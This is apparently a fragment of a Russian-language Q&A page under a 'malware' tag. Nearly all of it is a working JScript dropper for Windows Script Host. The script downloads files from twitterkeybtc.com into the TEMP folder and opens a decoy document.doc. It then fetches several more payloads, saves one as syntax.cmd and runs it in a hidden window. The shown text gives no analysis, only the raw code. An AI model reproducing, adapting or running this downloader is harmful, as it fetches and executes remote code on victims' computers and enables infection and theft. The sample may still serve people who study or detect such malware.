Вредоносное ПО
- 1 ответ
- 0 вопросов
0
Вклад в тег
function walkman(t,e){
var c=new ActiveXObject("MSXML2.XMLHTTP");
c.onreadystatechange = function(){
if(4 === c.readyState){
var t = new ActiveXObject("ADODB.Stream");
t.open(),
t.type=1,
t.write(c.ResponseBody),
t.position=0,
t.saveToFile(e,2),
t.close()
}
},
c.open("GET", t, 0),
c.send()
}
function CreateObject(t){
return new ActiveXObject(t)
}
var sunshine="attach",
costarica="%TEMP%\\",
gti="twitterkeybtc.com",
mercedes="%TEMP%\\syntax.cmd",
WshShell=WScript.CreateObject("WScript.Shell"),
proud="%TEMP%\\document.doc",
WshShell=CreateObject("WScript.Shell");
costarica=WshShell.ExpandEnvironmentStrings(costarica),
walkman("http://"+gti+"/attach/doc.keybtc",""+costarica+"document.doc");
try {
WshShell.Run(""+proud,1,0)
} catch(cont){}
walkman("http://"+gti+"/attach/night.keybtc",""+costarica+"night.keybtc"),
walkman("http://"+gti+"/attach/fake.keybtc",""+costarica+"fake.keybtc"),
walkman("http://"+gti+"/attach/trash.keybtc",""+costarica+"trash.keybtc"),
walkman("http://"+gti+"/attach/key.block",""+costarica+"syntax.cmd"),
WshShell.Run(""+mercedes,0,0);